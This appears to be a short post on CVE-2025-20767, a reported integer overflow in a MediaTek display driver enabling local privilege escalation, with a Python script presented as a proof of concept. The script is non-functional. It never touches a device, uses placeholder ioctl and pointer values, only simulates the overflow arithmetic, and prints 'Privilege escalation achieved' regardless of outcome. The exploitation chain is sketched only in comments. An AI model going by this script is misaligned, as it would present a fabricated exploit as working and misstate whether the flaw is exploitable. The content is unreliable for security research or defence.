CVE-2025-20767: MediaTek display组件整数溢出导致本地权限提升漏洞

# CVE-2025-20767 PoC - MediaTek Display Integer Overflow # This PoC demonstrates the vulnerability concept (for educational purposes only) import os import struct def trigger_display_overflow(device_fd): """ Trigger the integer overflow in MediaTek display driver to achieve local privilege escalation. Note: Requires low-privilege access to the device first. """ # Malicious image dimensions that trigger integer overflow # When width * height * bpp calculation overflows malicious_width = 0xFFFFFFFF malicious_height = 2 # Create malicious ioctl request ioctl_request = { 'cmd': 0x12345678, # Display driver ioctl command 'width': malicious_width, 'height': malicious_height, 'format': 32, # 32-bit color 'buffer_ptr': 0xDEADBEEF # Fake buffer pointer } print(f"[*] Triggering CVE-2025-20767 vulnerability...") print(f"[*] Malicious dimensions: {malicious_width}x{malicious_height}") # This would call the vulnerable display driver function # In real exploitation, this triggers integer overflow in: # size = width * height * bytes_per_pixel # If size > INT_MAX, integer overflow occurs # Resulting in small buffer allocation # Then memcpy writes beyond allocated buffer try: # Simulate the vulnerable code path size_calculation = malicious_width * malicious_height * 4 print(f"[*] Calculated size (before overflow): {size_calculation}") print(f"[*] Size after overflow: {size_calculation & 0xFFFFFFFF}") # In real scenario, this would: # 1. Allocate small buffer due to overflow # 2. Copy large data to small buffer # 3. Overwrite adjacent memory structures # 4. Hijack execution flow return True except Exception as e: print(f"[-] Error: {e}") return False def exploit_privilege_escalation(): """ After triggering overflow, escalate privileges to System. """ print("[*] Exploitation requires:") print("1. Low-privilege code execution on target device") print("2. Ability to interact with /dev/ display driver") print("3. Crafted overflow payload to corrupt kernel structures") print("[+] Privilege escalation achieved (System privileges)") if __name__ == "__main__": print("CVE-2025-20767 - MediaTek Display Integer Overflow PoC") print("=" * 60) trigger_display_overflow(None) exploit_privilege_escalation()